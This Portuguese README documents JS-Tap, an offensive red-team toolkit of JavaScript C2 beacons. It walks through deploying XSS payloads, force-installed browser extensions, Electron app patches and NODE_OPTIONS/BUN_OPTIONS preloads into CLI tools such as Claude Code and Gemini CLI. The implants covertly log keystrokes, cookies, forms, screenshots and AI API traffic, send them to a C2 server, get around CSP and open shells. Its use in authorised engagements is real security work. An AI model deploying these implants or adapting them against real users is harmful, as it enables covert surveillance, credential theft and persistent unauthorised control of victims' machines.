
Beacons JavaScript e C2 para serem usados como payload XSS ou implantes de pós-exploração em servidores de aplicações web ou software desktop para monitorar usuários e manter persistência. Estão incluídos implantes de extensão de navegador, aplicativo Electron e aplicativo Node/Bun.
Alterações principais estão documentadas nos Anúncios do projeto:
https://github.com/hoodoer/JS-Tap/discussions/categories/announcements
Pode ler o post original do blog sobre o JS-Tap aqui:
https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams
Breve demonstração do ShmooCon da versão 1 do JS-Tap:
https://youtu.be/IDLMMiqV6ss?si=XunvnVarqSIjx_x0&t=19814
Demonstração da versão 2 do JS-Tap no HackSpaceCon, incluindo C2 e como usá-lo como um implante pós-exploração:
https://youtu.be/aWvNLJnqObQ?t=11719
Demonstração do gerador automático de payloads, que utiliza submissões de formulários e tráfego de rede JavaScript interceptados como um modelo para gerar payloads C2 personalizados:
https://www.youtube.com/watch?v=cU915mxLfTo
Demonstração no CactusCon da v2 incluindo a funcionalidade de mímica:
https://youtu.be/O7-zxAmP13o?si=gchYwOJksutCCUPH
Demonstração dos Beacons v3, código beta:
https://youtu.be/-esrfSHqZeo
Não pretendo criar scripts de migração para a base de dados, e os aumentos de número de versão frequentemente envolvem alterações no esquema da base de dados (verifique os registos de alterações). Provavelmente deverá eliminar a sua base de dados jsTap.db em aumentos de versão. Se tiver payloads personalizados no seu servidor JS-Tap, certifique-se de os exportar antes de eliminar os ficheiros da base de dados.
O JS-Tap é um toolkit ofensivo baseado em JavaScript para red teams. Começou como um payload JavaScript genérico para atacar aplicações web via XSS ou implante pós-exploração, e cresceu para incluir extensões de navegador e implantes de aplicações de desktop Electron — todos reportando a um único servidor C2.
O payload não requer que o utilizador alvo que executa o payload esteja autenticado na aplicação atacada, e não requer qualquer conhecimento prévio da aplicação para além de encontrar uma forma de inserir o JavaScript na aplicação.
Em vez de atacar o servidor da aplicação em si, o payload JS-Tap foca-se no lado do cliente da aplicação e instrumenta fortemente o código do lado do cliente. Um sistema C2 permite que payloads JavaScript personalizados sejam adicionados e executados como tarefas nos clientes JS-Tap, fornecendo um meio para atacar diretamente o servidor da aplicação. Para facilitar uma transição mais rápida para atacar o servidor, o JS-Tap agora inclui uma funcionalidade "mímica" para gerar automaticamente payloads personalizados e entregá-los ao sistema C2.
O exemplo de payload DOM Beacon está contido no ficheiro telemlib.js no diretório de payloads, no entanto qualquer ficheiro neste diretório é servido sem autenticação, pelo que pode servir múltiplos payloads com diferentes configurações visando diferentes aplicações ao mesmo tempo.
Copie o ficheiro telemlib.js para o nome de ficheiro que desejar e modifique a configuração conforme necessário. Este ficheiro não foi ofuscado. Antes de utilizar num engajamento, considere fortemente alterar a nomenclatura dos endpoints, remover comentários e ofuscar fortemente o payload. Por predefinição, a aplicação utiliza endpoints de API bastante óbvios (por exemplo, /loot/screenshot), em Configurações da Aplicação pode ativar a ofuscação de tráfego.
Certifique-se de rever cuidadosamente a secção de configuração abaixo antes de utilizar num servidor exposto publicamente.
O JS-Tap tem cinco tipos de beacon/agente que se conectam ao mesmo servidor:
Todos os cinco reportam ao mesmo portal do servidor JS-Tap, onde o loot é visualizado e os comandos C2 são emitidos.
O portal também inclui duas ferramentas de clonagem de sessão:
| Ferramenta | O Que Faz |
|---|---|
| Browser Proxy | Um proxy MITM no servidor JS-Tap que encaminha o tráfego HTTP/HTTPS do operador através do navegador (ou processo Node.js) da vítima via WebSocket. Os pedidos são obtidos a partir do contexto de rede da vítima, pelo que o site alvo vê o IP e a impressão digital TLS da vítima. Combine com um Ticket de Sessão para navegação autenticada através da rede da vítima. Suportado pelos Beacons BEX, Atom e V8. Veja abaixo. |
DOM Beacon autónomo: O payload DOM Beacon (telemlib.js) funciona independentemente. Injete-o via XSS ou implante-o nos ficheiros JS do alvo. Ele contacta o servidor JS-Tap por si só.
BEX Beacon como dropper: O BEX Beacon monitoriza a navegação e recolhe inteligência passiva (cookies, localStorage, sessionStorage, cabeçalhos de pedidos, navegação). A partir do portal JS-Tap, pode comandar o beacon para injetar um DOM Beacon num domínio específico. O DOM Beacon gerado por um BEX Beacon obtém screenshots de alta qualidade através da API captureVisibleTab da extensão (o modo "BEX-Assist").
Sidecar para acesso ao SO: Quando instalado, o binário Sidecar dá ao BEX Beacon acesso ao sistema operativo subjacente. Os comandos são enviados do portal JS-Tap, retransmitidos através do canal encriptado do beacon para o binário nativo, e os resultados são enviados de volta. Isto transforma uma extensão de navegador numa porta de entrada para acesso ao sistema de ficheiros e execução de comandos.
Browser Proxy para navegação ao vivo: O operador configura o seu navegador para usar o proxy JS-Tap e todo o tráfego HTTP/HTTPS é encaminhado através do navegador da vítima em tempo real. O proxy realiza terminação TLS MITM (com uma CA auto-gerada) para que o operador possa navegar em sites HTTPS. O proxy é um "tubo burro" — encaminha exatamente o que o navegador do operador envia. Para navegação autenticada, combine com um Ticket de Sessão: o JS-Tap Conductor injeta os cookies, cabeçalhos e User-Agent da vítima no navegador do operador, o proxy MITM encaminha-os para o beacon, e o beacon obtém-nos da rede da vítima. Isto dá ao operador uma sessão autenticada a partir do endereço IP da vítima. Os Beacons BEX, Atom e V8 suportam todos o modo de proxy.
Atom Beacon para aplicações Electron: O patcher atomize.py modifica um arquivo ASAR de uma aplicação Electron para injetar o agente Atom Beacon. Ao iniciar, o agente regista-se no servidor JS-Tap, começa a comunicação C2 encriptada e injeta automaticamente payloads de renderizador em cada BrowserWindow que a aplicação criar. O agente do processo principal fornece acesso nativo ao SO (sistema de ficheiros, execução de comandos) enquanto os payloads de renderizador recolhem dados ao nível do DOM (teclas, entradas, formulários, cookies, armazenamento, chamadas de rede). Como é executado dentro do processo principal do Electron com acesso total ao Node.js, não necessita de um binário sidecar separado — navegação no sistema de ficheiros, leitura de ficheiros e comandos de shell estão integrados.
Nota: a capacidade de receber cópias de chamadas XHR e Fetch API funciona em modo trap. Em modo implante, atualmente apenas as chamadas Fetch API podem ser copiadas. A interceção de submissões de formulários pode por vezes falhar em modo implante.
browser.cookies.getAll(), com metadados: httpOnly, secure, sameSite, path, domain, expiration)Agente do processo principal (runtime Node.js):
session.cookies (incluindo httpOnly, com metadados)webRequest.onBeforeSendHeaderswebRequest.onHeadersReceiveddesktopCapturer do Electron (captura saída composta pela GPU)Payloads de renderizador (injetados em todas as janelas da aplicação):
document.cookie, com rastreio de alterações)process.stdin (colocadas em buffer em strings legíveis, esvaziadas a cada 2 segundos ou ao pressionar Enter)O payload DOM Beacon tem dois modos de operação. Se o modo é trap ou implante é definido na função initGlobals(), procure pela variável window.taperMode.
O modo trap é tipicamente o modo que usaria como payload XSS. A execução de payloads XSS é frequentemente fugaz; o utilizador que vê a página onde o payload JavaScript malicioso é executado pode fechar o separador do navegador (a página não é interessante) ou navegar para outro local na aplicação. Em ambos os casos, o payload será eliminado da memória e deixará de funcionar. O JS-Tap precisa de ser executado por um longo período ou não recolherá dados úteis.
O modo trap combate isto estabelecendo persistência usando uma técnica de iFrame trap. O payload JS-Tap criará um iFrame de página inteira e iniciará o utilizador noutro local da aplicação. Esta página inicial deve ser configurada antecipadamente. Na função initGlobals() procure pela variável window.taperstartingPage e defina-a para um local inicial apropriado na aplicação alvo.
Em modo trap, o JS-Tap monitoriza a localização do utilizador no iFrame trap e falsifica a barra de endereços do navegador para corresponder à localização do iFrame.
Note que a aplicação alvo deve permitir iFraming de mesma origem ou self se estiver a definir CSP ou cabeçalhos X-Frame-Options. Framebusters baseados em JavaScript também podem impedir o funcionamento dos iFrame traps.
Nota: tive boa sorte a usar o Modo Trap como implante pós-exploração em locais muito específicos de uma aplicação, ou quando não tenho a certeza de que recursos a aplicação está a usar dentro da secção autenticada da aplicação. Pode colocar um implante na página de login, com modo trap e a página inicial do modo trap definida para window.location.href (ou seja, localização atual). O trap será ativado quando o utilizador visitar a página de login, e esperançosamente continuarão para as partes autenticadas da aplicação dentro do iFrame trap.
Um utilizador a atualizar a página geralmente quebrará/escapará do iFrame trap.
O modo implante seria tipicamente usado se estiver a adicionar diretamente o payload na aplicação alvo. Talvez tenha um shell no servidor que aloja os ficheiros JavaScript da aplicação. Adicione o payload a um ficheiro JavaScript usado em toda a aplicação (jQuery, main.js, etc.). Qual ficheiro seria ideal depende realmente da aplicação em questão e de como está a usar os ficheiros JavaScript. O modo implante não requer uma página inicial configurada e não usa a técnica de iFrame trap.
Um utilizador a atualizar a página em modo implante geralmente continuará a executar o payload JS-Tap.
O modo implante é mais provável de funcionar com aplicações, pois não envolve todo o código extra de persistência do iframe.
O BEX Beacon é uma versão de extensão de navegador do JS-Tap. Serve dois propósitos principais:
O BEX Beacon utiliza comunicação encriptada ao nível da aplicação (AES-GCM) com o servidor JS-Tap. Toda a telemetria e respostas de tarefas são encriptadas ponta a ponta através de um único endpoint, tornando o tráfego de rede mais difícil de identificar.
O beacon também inclui funcionalidades como remoção de cabeçalhos CSP/X-Frame-Options (via regras declarativeNetRequest) para facilitar a injeção do JS-Tap em ambientes restritivos. Para alvos que usam tags <meta http-equiv="Content-Security-Policy"> (que não podem ser removidas via regras de cabeçalho, pois estão embutidas no HTML), o BEX Beacon usa uma abordagem de injeção empacotada — telemlib.js é empacotado dentro da extensão e injetado via chrome.scripting.executeScript({ files }), o que contorna a CSP ao nível da página inteiramente através do mecanismo de injeção privilegiado da extensão do navegador.
Quando emparelhado com o anfitrião de mensagens nativas Sidecar opcional, o BEX Beacon ganha acesso ao nível do SO na máquina alvo. Veja a secção Sidecar abaixo.
O Atom Beacon é um implante para aplicações de desktop Electron. Opera como um agente de duas camadas — um agente de processo principal privilegiado com acesso completo ao runtime Node.js, mais payloads de renderizador automaticamente injetados em cada BrowserWindow que a aplicação criar.
Ao contrário da combinação BEX Beacon + Sidecar, o Atom Beacon não precisa de um binário nativo separado para acesso ao SO — operações do sistema de ficheiros, execução de comandos e captura de screenshots estão todas integradas no agente do processo principal usando APIs Node.js.
O Atom Beacon usa o mesmo protocolo de comunicação encriptada que o BEX Beacon (encriptação AES-GCM sobre um único endpoint, com troca de chaves RSA-OAEP). Regista-se como um tipo de cliente distinto (atom-beacon) e aparece na vista Apps juntamente com os DOM Beacons.Principais capacidades:
webContents.executeJavaScript(), incluindo janelas criadas após a inicialização. Os payloads do renderizador capturam teclas pressionadas, entradas, formulários, cookies, armazenamento, URLs, HTML e chamadas de rede XHR/Fetch.desktopCapturer do Electron, que produz capturas perfeitas de pixels incluindo conteúdo compositado por GPU. Suporta captura manual (pela interface do portal), captura automática heurística (ao focar a janela, navegar e novas janelas) e períodos de espera configuráveis.webRequest.onBeforeSendHeaders e cabeçalhos de resposta via webRequest.onHeadersReceived no nível da sessão do Electron.session.cookies.get().Veja Atom Beacon (Aplicativos Electron com Patch) abaixo para configuração e uso.
O V8 Beacon é um implant para aplicativos de linha de comando baseados em Node.js e Bun. Diferente do Atom Beacon que requer modificar o arquivo ASAR do aplicativo, o V8 Beacon injeta via variáveis de ambiente — não é necessária modificação do aplicativo alvo.
Runtimes suportados:
export NODE_OPTIONS="--require /path/to/v8-beacon.js" (testado com Gemini CLI e outras ferramentas Node.js)export BUN_OPTIONS="--preload /path/to/v8-beacon.js" (testado com Claude Code)O beacon usa o mesmo protocolo de comunicação criptografada que os beacons BEX e Atom (criptografia AES-GCM sobre um único endpoint, com troca de chaves RSA-OAEP). Ele se registra como tipo de cliente v8-beacon e aparece na visão Nodes no portal.
Principais capacidades:
http.request, https.request, globalThis.fetch e http2.connect para capturar todas as chamadas de rede de saída com corpos completos de requisição/resposta, cabeçalhos e códigos de status. Respostas de streaming SSE (usadas por APIs de IA como Anthropic Messages API e Google Gemini API) são capturadas através de um tee no stream de resposta. Respostas comprimidas com Gzip são descomprimidas automaticamente.process.stdin em múltiplas camadas (push, emit, tty.ReadStream, readline) para capturar entrada do usuário. As teclas são armazenadas em buffer em strings legíveis e liberadas a cada 2 segundos (ou imediatamente ao pressionar Enter).Veja V8 Beacon (Aplicativos CLI Node.js / Bun) abaixo para configuração e uso.
O JS-Tap emprega três métodos distintos para capturar telas:
Usado por padrão nos implants DOM Beacon. Ele tenta reconstruir a página como um elemento canvas e exportá-la como imagem. Funciona bem para a maioria dos sites, mas pode ter dificuldades com aplicativos modernos complexos (como Reddit) ou imagens de origem cruzada.
Quando um implant DOM Beacon é gerado por um BEX Beacon, ele ganha acesso às APIs de alto nível do navegador da extensão. Nesse modo, o implant pede ao beacon para tirar a captura de tela usando chrome.tabs.captureVisibleTab. Isso resulta em uma captura perfeita de pixels e de alta qualidade que ignora todas as limitações de CSS/DOM do html2canvas. Este é o modo recomendado para alvos complexos.
O Atom Beacon usa a API desktopCapturer do Electron para capturar prints de janelas. Isso captura a saída real da janela compositada pela GPU, produzindo capturas perfeitas de pixels de aplicativos Electron complexos (Slack, VS Code, Discord, etc.). As capturas podem ser acionadas manualmente a partir do portal, ou automaticamente por meio de heurísticas configuráveis (mudanças de foco da janela, eventos de navegação, criação de nova janela).
Requer python3. Uma grande quantidade de dependências é necessária para o jsTapServer; é altamente recomendável usar ambientes virtuais python para isolar as bibliotecas do software do servidor (ou qualquer outro método de isolamento de sua preferência).
Exemplo:``` mkdir jsTapEnvironment python3 -m venv jsTapEnvironment source jsTapEnvironment/bin/activate cd jsTapEnvironment git clone https://github.com/hoodoer/JS-Tap cd JS-Tap pip3 install -r requirements.txt
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -sha256 -days 365 -nodes
python3 jsTapServer.py #or
./jstapRun.sh
O servidor gera automaticamente uma senha de administrador aleatória a cada inicialização e a imprime no console. As credenciais também são salvas em `adminCreds.txt` na raiz do projeto. Durante desenvolvimento/testes, é seguro excluir `jsTap.db` entre execuções — ele é regenerado automaticamente na inicialização.
### Compilação (Unified Build)
O script de build unificado na raiz do projeto lida com tudo: compilar extensões para Chrome e Firefox, empacotá-las para implantação, opcionalmente cross-compilar o binário sidecar, e produzir pacotes de implantação autossuficientes que você pode copiar para as máquinas de destino.
#### Pré-requisitos
- **Node.js** (para builds de extensão WXT e empacotamento .crx)
- **Go** (1.21+) — necessário apenas se o sidecar estiver habilitado
- **Python 3**
#### Início Rápido
1. Configure `bex-beacon/config.json` (veja [Configuração](#bex-beacon-configuration-configjson) abaixo).
2. Instale as dependências do Node (apenas na primeira vez):```bash
cd bex-beacon && npm install && cd ..
Isso compila extensões Chrome MV3 e Firefox MV2, empacota-as como `.crx`/`.xpi`, compila de forma cruzada binários sidecar (se ativado) e gera pacotes de implantação. O script de compilação incrementa automaticamente o número da versão de patch da extensão a cada compilação (ex.: `2.1.5` → `2.1.6`) em `bex-beacon/config.json` para garantir que os mecanismos de instalação forçada do navegador (política corporativa do Chrome/Edge) captem as compilações atualizadas.
#### Build Flags
| Flag | Efeito |
|---|---|
| `--ext-only` | Compilar apenas extensões, ignorar sidecar |
| `--sidecar-only` | Compilar apenas sidecar, ignorar extensões |
| `--legacy` | Também compilar extensões legadas (de `src-chrome-extension/` e `src-firefox-extension/`) |
#### Saída da Compilação```
build/
chrome-mv3/ # Unpacked Chrome extension (for development)
firefox-mv2/ # Unpacked Firefox extension (for development)
extension.crx # Packed Chrome extension (if key.pem configured)
extension.xpi # Packed Firefox extension
sidecar/ # Sidecar binaries + manifests (when enabled)
deploy/ # Self-contained deploy bundles
chrome-linux.tar.gz
chrome-mac.tar.gz
chrome-windows.zip
chromium-linux.tar.gz
chromium-mac.tar.gz
firefox-linux.tar.gz
firefox-mac.tar.gz
firefox-windows.zip
Para uso em produção, você deve gerar um par de chaves estático para que o ID da sua extensão do Chrome seja determinístico entre as builds. Isso é necessário para que os manifestos de mensagens nativas do sidecar permitam a extensão correta.```bash
openssl genrsa 2048 > key.pem
openssl rsa -in key.pem -pubout -outform DER | base64 -w0
Adicione a saída base64 a `extension_ids.chrome_key` e defina `extension_ids.chrome_key_pem` para `key.pem` em `bex-beacon/config.json`. O script de build irá automaticamente calcular e verificar o ID da extensão do Chrome de 32 caracteres.
Os IDs de extensão do Firefox são definidos diretamente via `extension_ids.firefox_extension_id` (por exemplo, `bex-beacon@jstap`).
### Implantando em Alvos
Cada pacote de implantação é um **arquivo autocontido** — um único arquivo para copiar à máquina alvo.
**Fluxo de trabalho:**
1. Copie o arquivo apropriado para o alvo (por exemplo, `chrome-linux.tar.gz`)
2. Extraia-o
3. Execute o script de instalação```bash
# Linux/macOS
tar xzf chrome-linux.tar.gz
cd chrome-linux
./install.sh
# Windows
# Extract chrome-windows.zip, then run:
install.bat
O que os scripts de instalação fazem:
Quando o sidecar está ativado, os scripts de instalação também instalam o binário do sidecar e escrevem o manifesto de mensagens nativas no local correto específico do navegador/SO. A instalação do sidecar é a nível de usuário (não requer sudo).
Detalhes da instalação do Chrome/Chromium (Linux):
ExtensionSettings com modo force_installed)/opt/jstap//etc/chromium/policies/managed/ (Chromium) ou /etc/opt/chrome/policies/managed/ (Chrome)Detalhes da instalação do Chrome/Chromium (macOS):
/Library/Application Support/JSTap/Cada pacote de implantação inclui um script de desinstalação (uninstall.sh ou uninstall.bat) que remove limpa e completamente tudo o que o script de instalação implantou.```bash
./uninstall.sh
uninstall.bat
**O que os scripts de desinstalação removem:**
| Componente | O que é removido |
|---|---|
| **Extensão Chrome/Chromium** (Linux) | JSON de política corporativa + CRX + manifesto de atualização de diretórios do sistema (requer `sudo`) |
| **Extensão Chrome/Chromium** (macOS) | JSON de extensão externa + CRX de diretórios do sistema (requer `sudo`) |
| **Extensão Chrome** (Windows) | Entrada de registro + arquivos de extensão de `%LOCALAPPDATA%\JSTap` |
| **Extensão Firefox** | `.xpi` do diretório `extensions/` do perfil do Firefox |
| **Sidecar** (quando presente) | Binário de `~/.local/bin/`, manifesto de mensagens nativas JSON e entradas de registro (Windows) |
Após a desinstalação, reinicie o navegador para que as alterações tenham efeito.
#### Uso para Desenvolvimento
Para desenvolvimento e testes, você pode pular os pacotes de implantação e carregar extensões diretamente:
- **Chrome:** `chrome://extensions` -> Ativar Modo Desenvolvedor -> Carregar expandida -> selecionar `build/chrome-mv3/`
- **Firefox:** `about:debugging` -> Este Firefox -> Carregar Complemento Temporário -> selecionar qualquer arquivo dentro de `build/firefox-mv2/`
### Sidecar (Host de Mensagens Nativas)
O Sidecar é **opcional**. É um binário Go que se comunica com o BEX Beacon por meio da API de mensagens nativas do navegador para fornecer acesso a nível de sistema operacional (navegação de arquivos, leitura de arquivos, execução de comandos).
#### Ativação e Compilação
1. Defina `sidecar.enabled: true` em `bex-beacon/config.json`
2. Configure os IDs de extensão em `extension_ids` (veja [IDs de Extensão Estática](#static-extension-ids) acima)
3. Execute a compilação unificada:```bash
python3 buildAll.py
O script de build sincroniza automaticamente os IDs das extensões a partir da configuração central para sidecar/config.json, compila binários sidecar para todas as plataformas e inclui o binário correto em cada pacote de deploy.
Se precisar recompilar apenas o sidecar sem recompilar as extensões:```bash python3 buildAll.py --sidecar-only
Ou construa-o diretamente (ele usará como fallback a leitura de `../bex-beacon/config.json` se nenhum config local existir):```bash
cd sidecar
python3 buildSidecar.py
Para iterações de teste durante o desenvolvimento, use o script de desinstalação específico do sidecar para remover o binário e todos os manifestos de mensagens nativas:```bash ./sidecar/uninstall.sh
Isso remove o binário de `~/.local/bin/` e o JSON de manifesto de todos os diretórios de manifesto do Chrome/Firefox (Linux e macOS).
Para sistemas implantados, use o `uninstall.sh` ou `uninstall.bat` do pacote em vez disso — ele remove tanto a extensão quanto o sidecar em uma única etapa. Veja [Desinstalação](#uninstalling) acima.
#### Como o Sidecar Funciona```
JS-Tap Portal UI
│ POST /api/sidecar/command
▼
JS-Tap Server (queues SIDECAR_COMMAND task)
│ Beacon polls on heartbeat
▼
BEX Beacon (background service worker)
│ browser.runtime.connectNative()
▼
Sidecar Go Binary (native messaging, stdio)
│ Executes command, returns result
▼
BEX Beacon (encrypts result, sends to server)
│ POST /client/metrics/<uuid>
▼
JS-Tap Server (stores SidecarResult)
│ UI polls GET /api/sidecar/result/<requestId>
▼
JS-Tap Portal UI (displays result)
A comunicação entre o beacon e o binário sidecar utiliza o protocolo de mensagens nativas — cada mensagem é prefixada com um comprimento de 4 bytes little-endian, seguido por um payload JSON.
Comandos Sidecar:
O implante Atom Beacon é injetado em aplicações desktop Electron usando o patcher atomize.py. Ele modifica o arquivo ASAR do aplicativo (ou o diretório do aplicativo descompactado) para antepor o código do agente ao ponto de entrada do processo principal.
resources/app.asar ou resources/app/ do aplicativoNo Linux e macOS, atomize.py pode ser executado diretamente com Python 3. No Windows, o Python pode não estar instalado. Você pode construir um atomize.exe independente usando PyInstaller:```bash
cd atom-beacon
pip install pyinstaller
pyinstaller atomize.spec
Isso produz `dist/atomize.exe` — um executável de arquivo único que empacota Python, a biblioteca ASAR e os arquivos de payload. Não é necessária nenhuma instalação do Python na máquina Windows de destino. O uso é idêntico ao da versão em Python:```
atomize.exe --detect-only C:\Users\target\AppData\Local\slack\app-4.40.0
atomize.exe --server https://10.0.0.1:8444 C:\Users\target\AppData\Local\slack\app-4.40.0
Nota: O PyInstaller só pode compilar para o SO em que está sendo executado. Para compilar um
.exedo Windows, execute o PyInstaller em uma máquina Windows (ou em uma VM/runner de CI do Windows).
Solução de problemas do pip no Windows:
Se o pip não for reconhecido no Windows, mas o python funcionar, use python -m pip em vez disso:```
python -m pip install pyinstaller
Se `pyinstaller` não for encontrado após a instalação, use `python -m PyInstaller` (sensível a maiúsculas/minúsculas):```
python -m PyInstaller atomize.spec
Se o pip em si não estiver disponível, certifique-se de que o Python foi instalado com a caixa de seleção "Add Python to PATH" ativada. Você também pode inicializar o pip manualmente:``` python -m ensurepip --upgrade
#### Analisando um Alvo
Antes de aplicar o patch, use `--detect-only` para analisar a estrutura, as configurações de segurança e o status de assinatura de código do aplicativo alvo:```bash
cd atom-beacon
python3 atomize.py --detect-only /Applications/Slack.app
Isto reporta:
package.json)cd atom-beacon python3 atomize.py --server https://10.0.0.1:8444 /Applications/Slack.app
Opções:
| Flag | Descrição |
|---|---|
| `--server URL` | URL do servidor JS-Tap (necessário para patching) |
| `--tag TAG` | Tag do cliente, exibida no portal (padrão: `atom`) |
| `--detect-only` | Analisar sem aplicar patch |
| `--no-backup` | Ignorar a criação de um backup `.bak` do ASAR original |
| `--output PATH` | Escrever o ASAR patcheado em um caminho diferente, em vez de no local |
O patcher automaticamente:
- Localiza `app.asar` ou `app/` dentro de pacotes `.app` (macOS), diretórios `resources/` (Linux/Windows), ou aceita caminhos diretos
- Cria um backup `.bak` antes de modificar (a menos que `--no-backup` seja usado)
- Detecta e remove patches existentes antes de reaplicar
- Gera um prefixo IPC único por patch para evitar colisões
- Incorpora o payload do renderizador como uma constante de string dentro do agente (injeção de arquivo único)
#### Notas Pós-Patch
| Plataforma | Notas |
|---|---|
| **macOS** | A assinatura de código é invalidada. Se o aplicativo mostrar um aviso de "danificado", execute `xattr -cr /caminho/para/App.app` ou re-assine com `codesign --force --deep --sign - /caminho/para/App.app`. |
| **Windows** | O SmartScreen pode avisar no download inicial, mas aplicativos já instalados não são re-verificados. O patching no local funciona sem problemas. |
| **Linux** | Não há imposição de assinatura de código. O aplicativo patcheado funciona normalmente. |
#### Descompactação (Reverter)
Para reverter um aplicativo patcheado, restaure o arquivo `.bak`:```bash
cp /path/to/resources/app.asar.bak /path/to/resources/app.asar
Target Electron App (patched) │ app.asar main entry point ▼ Atom Beacon Agent (main process, Node.js) │ Registers with JS-Tap server │ RSA-OAEP key exchange → AES-GCM encrypted channel ▼ Heartbeat Loop (jittered interval) ├── Poll for tasks (screenshot commands, shell commands, etc.) ├── Flush renderer data (keystrokes, inputs, cookies, storage, network calls) ├── Exfiltrate queued data (encrypted, single endpoint) └── Report status (tracked windows, host info)
Renderer Injection (automatic) │ webContents.executeJavaScript() on every BrowserWindow ▼ Renderer Payload (per-window) ├── Keylogger (keydown capture, debounced flush) ├── Input/Form capture ├── Cookie/localStorage/sessionStorage monitoring ├── URL tracking (including SPA navigation) ├── XHR/Fetch monkey-patching └── HTML source capture
O agente comunica-se com o servidor através do mesmo endpoint encriptado usado pelos BEX Beacons (`POST /client/metrics/<uuid>`). Todos os dados são encriptados com AES-GCM usando chaves estabelecidas durante o registo.
#### Utilizando o Painel de Ferramentas (Atom Beacon)
Quando um cliente Atom Beacon é selecionado no portal, o painel **Ferramentas** fornece:
**Painel de Proxy do Navegador** — Iniciar/parar o proxy, descarregar o certificado CA e gerar tickets de proxy. Os pedidos são encaminhados através do contexto de rede da aplicação Electron.
**Separador de Navegador de Ficheiros** — Navegar pelo sistema de ficheiros do alvo e ler ficheiros, idêntico ao navegador de ficheiros do BEX Sidecar mas a correr nativamente no processo Electron.
**Separador de Shell** — Executar comandos no alvo, idêntico à shell do BEX Sidecar mas a correr nativamente via `child_process` do Node.js.
**Separador de Capturas de Ecrã** — Apenas Atom Beacon. Fornece:
- Botão **Capturar Agora** para capturas de ecrã manuais a pedido
- **Heurísticas de captura automática** — comutadores configuráveis para acionadores de captura automática de ecrã:
- *Capturar no foco da janela* — capturas de ecrã quando o utilizador alterna entre janelas da aplicação
- *Capturar na navegação* — capturas de ecrã na navegação de página (incluindo navegação SPA como mudar de canal no Slack)
- *Capturar em nova janela* — capturas de ecrã quando a aplicação abre uma nova janela
- **Tempo de espera** — segundos mínimos entre capturas automáticas por janela (evita inundação)
A captura automática usa acionadores debounced — para navegação SPA, a captura de ecrã é tirada 3 segundos após o último evento de navegação/alteração de título, garantindo que o conteúdo de chegada é capturado em vez da página de partida.
O emblema do painel Ferramentas mostra **Incorporado** para clientes Atom Beacon (já que o acesso ao SO é nativo do agente, não dependente de um binário sidecar externo).
### V8 Beacon (Aplicações Node.js / Bun CLI)
O implante V8 Beacon é injetado em aplicações Node.js e Bun CLI através de variáveis de ambiente. Não é necessária qualquer alteração ou modificação da aplicação alvo.
#### Building the Beacon```bash
cd v8-beacon
python3 v8ize.py --server https://10.0.0.1:8444 --tag gemini
Options:
| Flag | Descrição |
|---|---|
--server URL | URL do servidor JS-Tap (obrigatório) |
--tag TAG | Tag do cliente, exibida no portal (padrão: v8) |
Isso gera um arquivo v8-beacon.js autocontido com a URL do servidor e a tag incorporadas.
Para aplicações Node.js (Gemini CLI, OpenCode, ferramentas Node.js personalizadas, etc.):```bash export NODE_OPTIONS="--require /path/to/v8-beacon.js" gemini # or any Node.js CLI tool
**Para aplicações Bun** (Claude Code, etc.):```bash
export BUN_OPTIONS="--preload /path/to/v8-beacon.js"
claude # or any Bun-based CLI tool
Você pode definir ambas as variáveis de ambiente simultaneamente para cobrir ambos os runtimes:```bash export NODE_OPTIONS="--require /path/to/v8-beacon.js" export BUN_OPTIONS="--preload /path/to/v8-beacon.js"
O beacon carrega antes do próprio código da aplicação e começa a instrumentar o runtime. A aplicação alvo funciona normalmente — o beacon é invisível para o usuário.
#### Como Funciona```
Target CLI Application (e.g. claude, gemini)
│ --require / --preload loads v8-beacon.js
▼
V8 Beacon Agent (same process)
│ Registers with JS-Tap server
│ RSA-OAEP key exchange → AES-GCM encrypted channel
▼
Heartbeat Loop (jittered interval)
├── Poll for tasks (shell commands, file browser, proxy start/stop, plugins, etc.)
├── Flush captured data (network calls, keystrokes)
├── Exfiltrate queued data (encrypted, single endpoint)
└── Report status (host info, capabilities, proxy state)
Network Hooks (automatic)
├── http.request / https.request (monkey-patched)
├── globalThis.fetch (monkey-patched)
├── http2.connect (monkey-patched)
└── Module._load intercept for node-fetch
Stdin Hooks (automatic)
├── process.stdin.push / emit
├── tty.ReadStream.prototype.push
└── readline.createInterface
Algumas ferramentas CLI criam a si próprias como processos filhos. Por exemplo, o Gemini CLI executa a autenticação no processo pai e, em seguida, cria um processo filho node gemini para a sessão interativa (onde as chamadas reais à API acontecem).
O V8 Beacon lida com isso automaticamente:
__V8_BEACON_ACTIVE e __V8_BEACON_RUNTIME__V8_BEACON_UUID, __V8_BEACON_SENDKEY, __V8_BEACON_RECVKEY)npm, npx, yarn, tsc, eslint, etc.) são sempre ignoradosIsto significa que uma sessão do Gemini CLI com processos pai + filho aparece como um único cliente no portal com todos os eventos unificados.
Quando um cliente V8 Beacon é selecionado no portal (sob o separador Nodes), o painel Tools fornece:
Painel Browser Proxy — Iniciar/parar o proxy, descarregar o certificado CA e gerar tickets de proxy. Os pedidos são encaminhados através do contexto de rede do processo Node.js/Bun.
Separador File Browser — Navegar pelo sistema de ficheiros do alvo e ler ficheiros, idêntico aos navegadores de ficheiros do BEX Sidecar e do Atom Beacon.
Separador Shell — Executar comandos no alvo via child_process do Node.js.
O badge do painel de ferramentas mostra Built-in (o acesso ao SO é nativo do agente).
| Aplicação | Runtime | Estado |
|---|---|---|
| Gemini CLI | Node.js | Interceção total da rede (incluindo SSE streamGenerateContent), keylogging, acesso a ficheiros/shell |
| Claude Code | Bun 1.3.10 | Interceção total da rede (incluindo streaming SSE /v1/messages), keylogging, acesso a ficheiros/shell |
Se estiver a executar o JS-Tap com o script jsTapServer.py em modo single threaded (ótimo para testes/demos), existem opções de configuração diretamente no script jsTapServer.py.
Para uso em produção, o JS-Tap deve ser alojado num servidor publicamente acessível com um certificado SSL adequado de alguém como o letsencrypt. A forma mais fácil de o implementar é permitir que o NGINX atue como front-end para o JS-Tap e trate do certificado letsencrypt, e depois encaminhe o tráfego desencriptado para o JS-Tap como tráfego HTTP localmente (ou seja, NGINX e JS-Tap correm no mesmo VPS).
Se definir proxyMode como true, o servidor JS-Tap executará em modo HTTP e obterá o endereço IP do cliente a partir do cabeçalho X-Forwarded-For, que o NGINX precisa de estar configurado para definir.
Quando proxyMode está definido como false, o JS-Tap executará com um certificado auto-assinado, o que é útil para testes. O IP do cliente será obtido a partir do IP de origem do cliente que se conecta.
